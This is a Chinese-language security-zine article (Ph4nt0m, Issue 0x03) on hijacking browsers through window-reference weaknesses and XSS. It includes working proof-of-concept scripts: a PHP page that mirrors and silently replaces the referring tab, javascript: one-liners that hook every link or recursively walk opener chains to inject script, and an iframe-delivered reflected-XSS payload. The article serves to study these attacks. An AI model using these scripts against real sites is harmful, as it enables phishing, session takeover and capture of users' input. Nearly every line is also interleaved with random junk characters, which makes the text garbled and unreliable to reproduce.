==Ph4nt0m Security Team==
9 D& b' z1 U" c; L
5 E! M6 J' ?3 b* i Issue 0x03, Phile #0x05 of 0x075 Z& w- I q+ H2 O
. Q5 P+ T2 M. q6 O" E- Y
: C( U! Y5 B& z6 y A, `|=---------------------------------------------------------------------------=|# f' f% Q# g$ r5 h M! L+ Z1 a
|=---------------=[ 利用窗口引用漏洞和XSS漏洞实现浏览器劫持 ]=---------------=|' w$ e5 \$ v( D% R% A0 @6 w* y
|=---------------------------------------------------------------------------=|
3 {, h6 m8 ^( k$ B+ w|=---------------------------------------------------------------------------=|+ i" J' T9 k( }: N+ O" m& P
|=------------------------=[ By rayh4c ]=---------------------------=|; C: z) F# z5 ` |5 L; G( c0 @
|=----------------------=[ <rayh4c#80sec.com> ]=------------------------=|( _& a6 O0 {6 r; J: J
|=---------------------------------------------------------------------------=|
! x! V3 }: f$ V
: v I4 O, [5 E) b1 a7 M1 c: r6 w( C- {9 z( p
[目录]
# k+ i5 G; e; m1 f" F3 J# G
. |# m1 \. S; ` l( L1. 前言
' }& L" O2 |# x3 s2. 同源策略简叙' i9 h7 H4 t/ u2 g
3. 理解window对象的同源策略5 j. d5 H1 m3 |2 f
4. 窗口引用功能中的同源策略漏洞
/ h+ W+ C8 z: C- P 4.1 父窗口引用子窗口的同源策略问题5 @; k) ~2 i+ z5 Y' o5 E7 r7 S
4.2 子窗口引用父窗口的同源策略问题, [- N. q3 ?$ R7 S" w& m
5. 利用窗口引用漏洞劫持浏览器- b5 U+ M- a' o7 `3 Z% d- z0 N
6. 利用XSS漏洞劫持浏览器
- |, b4 k, B! C4 X2 H 6.1 正向跨窗口劫持
: [( M; }6 A" _2 w' K 6.2 反向跨窗口劫持
4 |8 o/ `3 U2 c9 n. j2 H& W8 S 6.3 极度危险的跨框架窗口引用劫持
3 H6 S, K" D6 n1 s 6.4 极度危险的正反向跨窗口递归劫持
- y$ {& i+ T2 h8 s( E- W0 ^& v9 o 6.5 完全控制浏览器
5 ]9 f/ O5 ~( }% C3 R! P; Y9 H c7. 后记
+ N1 m x8 y, v2 _8. 参考9 q0 j+ L% F9 Z
$ @, @! A& U$ x7 Z* C4 R6 c- U8 x
一、前言/ D7 U+ M: S: @
( a7 W0 `2 k* v1 |0 Y' `4 L+ R
最近国内关于XSS漏洞的技术文档都比较少,所以决定写这篇文档,其中的很多细节和朋
- b( m" x M# F友们都沟通讨论很久了,其中包括了我对浏览器同源策略和XSS的一些理解。XSS漏洞从Session
& c( Z/ @7 e! z- ^2 S4 i$ c劫持、钓鱼、XSS WORM等主流攻击方式发展到现在,告诉了大家一个真正的跨站师是不会被
+ A2 D. j( O! x# Z1 B条条框框所束缚,跨站师们在不断的创新,跨站师们会展示XSS漏洞的所有可能。
7 w3 Q6 h/ W" |' J' B2 D2 v
4 e$ ^( i. @8 l) Y( {/ g. t7 }! R h$ k& K! w$ Z5 W0 `% m% Z7 F
二、同源策略简叙- G/ g( W6 G. i& {
+ g$ |8 Z6 j X/ I2 C" i 同源策略是浏览器的安全基础,它是浏览器支持的客户端脚本的重要安全标准,我们可以
$ X# G5 O/ `$ A- F: y6 A7 Q( T从“源”上了解这一安全标准,按照W3C的标准这个“源”包括域名、协议和端口,各大浏览器都
: f5 m, I' E8 Q7 a5 ~! ]: d曾爆出过很多同源策略漏洞,危害程度各有不同,比如从06年开始流行至今的MS06-014网页木6 u5 I$ h. j1 q; ]& u3 ^
马漏洞都已经完全颠覆了同源策略。这次的文档主要说的是DOM的同源策略(参考2)中的一个
, ]* t* k% h) m3 h+ @& A/ ?: v漏洞,然后从漏洞引申到XSS漏洞如何利用DOM的同源策略特性,最终实现浏览器劫持。* {) y% Y. p& @1 {
; c6 k) K% L* C- S4 Z5 ^- s% z
- E8 V& g! h, u/ I6 g
三、理解window对象的同源策略
- v4 a/ N* {7 u/ a* v, T- J* [3 e" d7 S! k O0 z! z
窗口即指的是浏览器窗口,每个浏览器窗口都可以使用window对象实例来表示,window对" B9 y* V1 ]7 f5 T! j0 Z3 u% w
象有很多属性和方法,写一个简单的脚本可以历遍出window对象的所有属性和方法:5 l0 R( R9 X! A, ~+ Q2 M( v& m
7 }. |8 K9 ]: V--code-------------------------------------------------------------------------
* f* l) @. N8 W) _5 |<script language="javascript">% M0 ^% ]& K( g, o g/ D' Y
for(p in window) document.write(p+"<br>");( _3 s# |* n O* P
</script>' K( }6 t, u5 Z5 v5 V6 o
-------------------------------------------------------------------------------0 N4 A: `- J9 ?* b* q# ?
0 V* n4 W' a6 s- F' {/ w 这些window对象的属性和方法可以改变窗口的外观和窗口网页的内容,当这些属性和方
: D' l. W% a) ?! l/ z法只在一个窗口中使用并不会凸显出安全问题,但是当多个window对象开始互相引用的时候,1 S( t+ P( `/ _1 x0 ]
这些属性和方法就必须遵循同源策略。
1 f4 m8 S' I7 N' C
# v* F9 V1 k: M8 _. g7 o 举一个简单的例子,如果在a.com的网页可以调用b.com网页window对象的属性和方法,那
- m) \8 o2 J7 J2 _; i么跨站师就可以随便XSS互联网上任何一个网站了,所以为了避免安全问题,同源策略是必须7 E' `6 o6 ^$ G5 Q Y- L1 q6 y
的。我们可以把下面的脚本保存为demo.html到本地打开或者丢到远程服务器上进行测试,这+ H% K2 J' a9 o4 Q0 c; m
个脚本的效果是调用不同源的子窗口window对象的属性和方法,我们会发现location属性的: n- z. f! L$ a% Q+ L
值类型是空白的,这种情况太特殊了,说明不同源的父窗口引用子窗口window对象的location
4 E! ~; `7 f8 M+ x$ Y0 j% R( t) r属性并没有被拒绝访问。4 S! B4 b7 u% x' W
' i4 G& U. m6 L' u
--demo.html--------------------------------------------------------------------- M( |- b; v. S2 n$ W) g1 l
<script language="javascript">
& f: P3 r* S4 c- Q/ Ifunction allPrpos(obj) {
. Y; F. J2 E" m0 B4 y var props = "<table><tr><td>名称</td><td>值</td>"; ! z1 N7 T) y( N. w9 r
for(var p in obj){ ; h7 q+ {3 h- o- e8 l7 B
if(typeof(obj[p])=="function"){
# A( s' e, T& F7 j. G$ F6 H obj[p]();
4 s7 I$ h1 S0 e# A {0 Z8 a0 D }else{ $ c) D! p$ a/ n2 {1 ~
try % J$ [5 A% r/ h
{
3 |+ ^1 a U9 ^& z8 N% z props+="<tr><td>"+p + "</td><td>" + obj[ p ] + "</td></tr>";
) J7 }1 B- K. y/ J2 @0 x }
* d5 _8 ~1 r9 A5 s( k6 @ catch (ex)
2 m7 M% h" z7 \% k {
9 s# j% c$ W5 ?* W
( A$ P: w+ c8 t( e2 G9 e props+= "<tr><td>"+p + "</td><td>" +ex.message+"</td></tr>";
' x4 h4 d r5 T0 L. C! [ } ' W6 ^3 d0 t- I3 @3 c- H9 ]& K
& y0 P! P# P2 O6 O; w7 p }
3 v, m# J$ w& m- e4 M; E } - f! |. a. m, a
~; d1 A! ]4 g; j document.write(props+"</table>"); ( ]. q% [" V) i, p# p$ l/ K
}
; ? W0 } f: v5 Z& A# m0 h3 ^* T ' t$ v5 c( Z4 c( [* i
function createWin() {
8 |. S2 U8 n& J4 \6 h1 T newWin = window.open ("http://www.google.com"); + P4 w" h& h/ J' G3 v& c v
setTimeout(function(){allPrpos(newWin)},2000);
* m+ v/ Z8 S2 i" N2 i8 q) y7 v}
+ o7 T" r6 n; f* z" o8 a( s6 b7 N3 r0 U* ?9 l1 C
</script>
3 U8 h1 J) J* `2 S7 N8 Y9 x1 U" H* k. h& v
<button onclick='createWin()'>创建一个非同源子窗口测试</button>
( I) N+ l2 U/ S7 ~- r-------------------------------------------------------------------------------& |: m3 b! b/ n7 q; D* R9 h
$ ^, V" w' ^& R5 k% z0 C3 c* s) w- c2 A$ r. V4 z' \
四、窗口引用功能中的同源策略漏洞
, d; C! `4 M6 c9 q
( j& t) s a' ~& V; l" N6 G p* |4.1 父窗口引用子窗口的同源策略问题
9 }9 @2 B; X: d( X. _; ]. C6 T3 X, Y" u# d! C
去年我在幻影杂志发过的IE6跨域脚本漏洞,这个问题微软已经发布了ms08-058补丁修复,4 h$ N! B- @7 Y( M N) i
但这个漏洞仍然暴露了父窗口引用子窗口的同源策略问题。根据第二部分的测试,我们知道
; B! Z) Q: \/ A7 X浏览器并没有阻止父窗口访问非同源子窗口的location属性值,我们可以使用下面的脚本进/ h- [5 I4 a: Q) ?4 M w# ] {
行测试,会发现父窗口可以控制非同源子窗口location属性值。, g! _, m. P1 N1 B. f: \
" X5 m1 \0 F' }, ]$ F5 ~6 N! f
--vul1.html--------------------------------------------------------------------
& U4 t$ f/ I: j7 C' W<script language="javascript"> 1 S4 f C# ^1 W' |/ [$ |8 P. C
function createWin() { 3 R) D2 k* n" j7 @7 c
newWin = window.open ("http://www.google.com");
% n) B6 P: V1 [$ W1 x8 @ setTimeout(function(){newWin.location="http://www.80sec.com"},2000); & E) m) d2 b( ~4 Q
}
% k' G e- M9 C, }5 i</script>
1 c8 K2 c" G8 i- w# n- p V3 q2 p- i$ F* s$ e
<button onclick='createWin()'>创建一个非同源子窗口测试</button>
/ \5 }) g# t' j; H1 ~-------------------------------------------------------------------------------
5 S# C8 b$ G, t9 f3 E) [0 t2 q
/ B, Z2 t: r- l% H$ j: F! O; P6 U# p) ^& v+ j* k' i, p ?/ ]4 Y) }
4.2 子窗口引用父窗口的同源策略问题
7 A1 F+ `. h" f2 ]
- h8 ?. ?1 M% }7 l 逆向测试一次会发现子窗口引用父窗口也存在同样的问题,这里为了更方便和直观我使& z7 b5 _" y# h
用javascript伪协议进行验证。子窗口引用父窗口的window对象属性是window.opener,我们- v% p0 o' J8 F: j- h8 B
可以随意浏览一个网站点击链接打开N个网页,在这些网页的地址栏注入下面的脚本,你一定. C ^& R- A4 V& n
会惊奇的发现,不管同源还是非同源的父窗口都转跳到了80SEC网站。
9 s( {4 E# t- M
2 p2 D2 l6 D) y/ d. a--code-------------------------------------------------------------------------5 c' |; ~; A* G7 w6 p) g M
" B8 H5 ^6 k* j8 g/ K8 L- Mjavascript:window.opener.location = "http://www.80sec.com";void(0);
* r& [/ D) s- @; q% Z; b% f1 _
r/ F: X8 K8 _9 {7 A-------------------------------------------------------------------------------
) f4 ^# v6 f* n' Q/ I$ D c$ K" V
/ R$ V D/ m1 A1 E6 b+ J五、利用窗口引用漏洞劫持浏览器' Z) j8 v y$ P1 Q" s* `5 Q e+ B
3 D9 E- l7 M. {$ u2 @1 F
经过上面三个枯燥的测试,我们已经暴露了浏览器一个非常严重的安全问题,非同源的子) G* H, p- K- t
窗口和父窗口可以互相引用控制window对象的location属性值,并没有严格遵循同源策略,那
, K+ I+ a M, Q# D4 l+ t/ g2 E么用户在浏览器中的所有点击行为都有可能被跨站师变相控制。
/ e* Z2 O: b' _
8 T; r5 j, I7 [7 Z 我们打开浏览器访问互联网上的各个网站,无时无刻不在点击链接,我们点击链接想要产
p" K, K& m6 [2 X生的结果是去访问我们想要去的URL地址,用户的正常点击只会产生两个结果,打开新窗口或0 c/ p% h1 a+ x' g
者当前窗口转跳,试想一下你在SNS网站、电子商务网站、BLOG、论坛里点击一个正常的链接
& E2 Y V; |; O后,打开了一个“无害”的网页,原本浏览的信任网页却已经被悄悄替换了,大家可以联想一下, ]( D4 I7 @4 [4 W. X/ l; L- y
会产生什么可怕的后果。
' s2 j' a& J& ?9 C) j O5 Q+ e' @% I5 ^
下面我写了一个劫持浏览器的小Demo,思路是获取REFERER后生成镜像页面,同时加入我( L f' t2 M0 f, ^$ a$ q
们的劫持脚本。比如把这个hjk_ref.php丢到本地服务器上测试,将http://127.0.0.1/hjk_ref.php9 y& G" B/ S8 m- f3 l0 @
这样的链接发到任意一个网站上,点击链接打开新窗口,当所有的注意力都停滞在新窗口的时9 l; }; F) T0 L4 k
候,3秒后一个镜像页面将会悄悄替换链接所在页。按照类似的思路,发挥跨站师的想象力,可
( |* | i5 o n# d* X3 Z以做更多的事情,所有的一切仅仅是因为点击了一个链接。) l* @ f6 h4 u8 j, E
! m/ f( [" ^5 ], G. h
--hjk_ref.php------------------------------------------------------------------5 [ r5 c- l$ Y. l7 N( Z
<?php& q# J7 t3 Y% l- L- E9 V' U1 ~
if (array_key_exists("HTTP_REFERER", $_SERVER)) {$ h+ B" v) L8 _& \$ R6 s; [
$Url_Mirror = $_SERVER["HTTP_REFERER"];
) T7 e% x5 m) s- ?: g: a2 P} & {. U) e7 K: f$ w8 I6 e6 `
if(isset ($_GET['ref'])) {
0 p8 g2 N T# X; @( Aecho file_get_contents($_GET['ref']) . '<script>alert(\'I had been hijacking your browser!\')</script>';+ ?! x; b8 m; ]% o- V( p, _ h
}
$ }/ A: t; G9 Q D( F* O?>
4 r Z3 r# _. j/ n# q y' z- r# C6 N( _( F/ e
<script language="javascript">
: o9 x9 n% J7 q" m8 Z8 X" A5 ~6 WsetTimeout(function(){window.opener.location=window.location+"?ref=<?echo $Url_Mirror;?>"},3000); + n2 s: `* J- {; k q% d! V
</script>" h" L/ f1 Y% u/ Z' ?
-------------------------------------------------------------------------------4 V6 ^, A& a- A/ r9 N8 }
8 Y/ R6 P& r: X9 ?* {. T# y 注:各大主流浏览器仅opera和internet explorer 8不存在窗口引用漏洞。
; D5 ?8 K( ~, @) L" o) X) `8 C: f* n/ A7 I0 b: N( C) D/ W f
# v4 U' y2 q$ t: `六、利用XSS漏洞劫持浏览器
/ R _0 V9 A$ N1 e. I2 @9 s' T: T8 s7 g
延续第四部分的思路,这部分将进入本文的一个重要环节.跨站师们都知道XSS漏洞分为: l$ w; `# b; M, F. V
持久和非持久两种,这两种类型的漏洞无论怎么利用都无法跳出窗口的生命周期,窗口关闭后" ^7 N% o$ _' u2 P5 W. d/ X. f
XSS漏洞的效果也就完全消失,窗口的限制一直束缚着跨站师们的发挥,我这里将和大家一起+ l9 M1 V( P* c# d
讨论跨站师的终极技巧:* _9 Y3 \+ ^2 x0 s) b+ g8 c4 T2 j
- q7 m, {. } |; F+ n5 B/ V# H0 Z6 d# i% d8 S% G
6.1 正向跨窗口劫持
1 R# x' \, w! j3 J7 B
3 @$ V9 Z0 g5 X& _1 z 大家可以先试验下hijack_open.js这个脚本,比如打开http://bbs.dvbbs.net/动网论坛- S$ }- W9 e! z: @
主页,我们在地址栏里复制下面的代码使用伪协议注入hijack_open脚本,然后整个页面的链; Q& J0 U" c3 H0 q: h+ i& u( u9 {
接就都被劫持住了,点击论坛里的任意一个链接,打开的新窗口都会被注入了一个alert对话* U, K9 o8 X2 H
框脚本。 / t6 Y8 S' k/ f9 O! ]$ p, j
" w6 q) ^6 i1 \9 x$ _--hijack_open.js---------------------------------------------------------------2 U; c0 l: U/ `- T \. n, O: c
) m$ r- I* S' E* i6 Njavascript:for(i=0;i<document.links.length;i++){document.links.onclick=function(){x=window.open(this.href);setTimeout(function(){try{x.location="javascript:alert('I had been hijacking your browser!')"}catch(e){};return false;},3000);return false;}};void(0);
$ D& N. F! @3 k4 ]6 d3 h' A& e. t1 @
-------------------------------------------------------------------------------; ]- {( T; b1 z& R$ q6 ~- Q1 v$ v3 G
5 S5 d; q! l% t* [! a" v
; |' W @4 B+ w# s/ j
6.2 反向跨窗口劫持
- l" ?: _0 v, Y- R. }" X+ I: M* g/ @7 z8 A
同样我们也可以在动网论坛试验,新打开任意一个版块的窗口,在地址栏里复制下面的代$ g" Q/ s( k. z7 [/ A
码使用伪协议注入hijack_opener脚本,我们会发现原来的页面被反向注入了一个alert对话. Q1 |1 S7 W& Y) b- \- ~8 M) B
框脚本。
+ B0 s$ p# |- M0 q7 y: u, p
; ^% _* p- F0 P( r4 A, T8 O--hijack_opener.js-------------------------------------------------------------
- I6 @# G8 W P5 t2 ~& P
5 F8 a; s( c0 O4 ]; `2 R- Ljavascript:window.opener.location="javascript:alert('I had been hijacking your browser!')";void(0);1 [3 h+ {- A7 ?* u# B! w, K5 v0 r
: H' O" t5 `6 G& S# U5 ?2 _1 Y! `-------------------------------------------------------------------------------- o$ Y: D' N+ s, ` @& n7 t
$ }) {% ^! B# s- n8 ?7 K
% B% J$ a8 Z/ L9 ?6 n6.3 极度危险的跨框架窗口引用劫持$ d6 H1 u& h S1 a4 c+ O
; u+ c$ V2 e; p 非持久型XSS漏洞是在URL参数中注入脚本,一度被认为很鸡肋,一个非持久型的XSS漏洞& _7 O* @. S$ H3 |
可能出现URL参数过于冗长等缺点,下面这个window.parent.opener的跨框架窗口引用技巧就( ? S3 Z5 A8 r) A3 H( Q/ _
适用于所有的非持久型XSS漏洞,我们可以在一个被攻击者的信任网站上的网页里iframe一个
- J& s* z. j$ a# ?非持久型的XSS,如下:
3 ]' z3 h% ~8 Z; U$ g3 f+ _% L
. S; C2 p/ Q7 g2 E }$ ?- Q `<iframe src='http://www.target.com/index.php?vul=xss'width='0' height='0'>
9 y- U h& u8 Z4 g6 A' s0 G5 S% G" j
在vul参数中写入下面的hijack_frame_opener脚本,跨站师就可以反向跨框架引用窗口
' M$ }3 `3 i7 g5 c" M1 ~$ r ?' V! |注入脚本。
- B# r0 J4 F- g f
+ q; g, ~7 y) R9 C& t) a, H--hijack_frame_opener.js-------------------------------------------------------
g8 R0 v- }: x<script>
8 B+ P7 j" |' E1 qwindow.parent.opener.location="javascript:alert('I had been hijacking your browser!')";
' N* W1 w. |$ w3 S9 R4 x* Q</script>$ C! ?8 P& S; `/ i& z1 m
-------------------------------------------------------------------------------; J& \$ o# c8 q& ^# t/ A5 T
2 c! M/ _/ z0 E' u1 H% g6 M. O
/ Q2 Z0 o3 @ O& G5 {/ v% t/ _
6.4 极度危险的正反向跨窗口递归劫持- L+ K1 {; o$ N
& h9 ^, H& e+ c* ?( l( \2 l1 B
luoluo建议我加上了这一部分,窗口之间的引用关系可能是复杂的,我们可以通过window
+ K8 k; C/ a6 i4 C6 V的opener属性链反向递归查找窗口注入XSS脚本,将互相引用过的同域窗口全部劫持,并通过
8 E5 [2 {* v1 ?! W异常处理规避之间跨域页面的访问异常,代码如下:- {" B2 R; Y; m5 T. x
/ L3 Z5 E1 J: F1 e+ T. M/ ` a! l--code-------------------------------------------------------------------------/ w# `9 C/ G& E9 K5 l
$ J* d6 B5 j5 h1 a4 [' N) ~javascript function(){var w=window;while(w.opener){w=w.opener;try{w.location="javascript:alert('I had been hijacking your browser!');void(1);";}catch(e){}}})();void(0);
3 }6 d5 n) \% D2 F4 w
& }/ Q' ]3 I# e-------------------------------------------------------------------------------
% x* F% Y2 }* y. s: @
0 M5 [1 V/ f" n( p4 z* l 假设页面打开序列有A域->B域->A域的情况,通过对第二个A域页面的反向递归劫持则可
$ ?8 m* j5 a9 b: v以劫持B域之前的A域页面,从而实现“隔空打击”。
7 z* E( Q5 [6 R, _1 O
0 ~+ K% ?5 z2 p/ r 同理,正向跨窗口劫持也可以实现递归劫持所有同域的链接,对每个打开的被劫持的页面) @+ W. ?% E$ L' a
执行和第一个页面一样的劫持脚本,但是正向递归没法实现反向递归的那种“隔空打击”。
3 e. s ?- m* `+ t; F6 j7 Y5 Y; p: I; K: @& d. S0 U
结合正向和反向的链式递归劫持,最终我们可以劫持所有的同域页面。/ t' T5 O p: |6 {+ y" J8 n3 C' I
3 G$ b, V- P8 G: P$ [! g0 p6 s
* ?! u0 \7 s9 R0 x6 V W2 ?/ q6.5 完全控制浏览器' `8 b) ] U, d5 T9 O* B* @; y
' N% Q7 @5 N; b$ {. _ 一个跨站脚本漏洞的真正意义在程序员的角度是输入和输出问题,而在跨站师的角度则; h5 r+ j0 [% u7 N! Q3 i" M
是能够进入同源策略了,可以摆脱同源策略的束缚做任何想做的事情。跨站师们可以利用XSS
- C" t2 w: n, p, Z- s2 Z漏洞在同源策略允许的范围内再跨页面注入脚本,可以不再为窗口关闭后XSS漏洞的效果消失
6 C# C9 p' Y1 a: `1 `1 {5 Q# K而烦恼,劫持窗口后的跨站师们可以任意发挥,劫持表单,劫持请求,劫持输入等等,我就不再
3 s9 o* A2 R, M+ c* B列举实例。无论是持久型还是非持久型的XSS漏洞都是能够发挥最大的威力的,最后实现跨站- y3 o3 J- `- I& Q1 N
师的终极目标 - 完全控制浏览器。
) C$ U% T) ^, f# E4 r, _( \0 m3 ^4 A8 n2 K
% B: Q1 s- E7 D+ J/ O2 Y七、后记, `& D0 h8 ^# M- A
2 ~/ N% r/ a% f% i. c9 h
文章涉及的安全技术全部都是纯研究性质,请不要将这些技术使用在非法途径上。安全
3 e3 O6 {9 c+ Q7 `; k与应用永远是一个矛盾体,通往安全的路永远不止一条。感谢对这篇文档的思路和技术给予5 n! ]; U4 c# w" v8 O. ~
过帮助的luoluo、cnqing、linx以及80Sec团队的所有成员。
% Y8 j3 p1 W6 ]! i k3 g! ^* C: k
8 z/ x2 C& Q' Q' b" S# _
八、参考6 \$ T" w% U; B
# e' x! e4 ?" N6 r: Y! J1. http://en.wikipedia.org/wiki/Same_origin_policy* n4 X/ I6 V$ K5 t
2. http://code.google.com/p/browser ... licy_for_DOM_access8 Z# Z& r0 n% ^0 `8 X- ?: M
3. http://www.w3.org/TR/Window/- ~- v* P1 H2 ^0 F$ N9 t/ H3 X
4. http://www.80sec.com/release/browser-hijacking.txt
5 j8 g4 e( t& |/ r' f8 F5. http://www.80sec.com/all-browser-security-alert.html
5 j C/ a( @* K% Y/ w+ I6. http://www.80sec.com/ms08-058-attacks-google.html
1 O" f6 f; |- O6 z: J, v9 t7 s2 j/ ]0 n& u5 m0 M9 `2 G" j0 x3 x
-EOF- |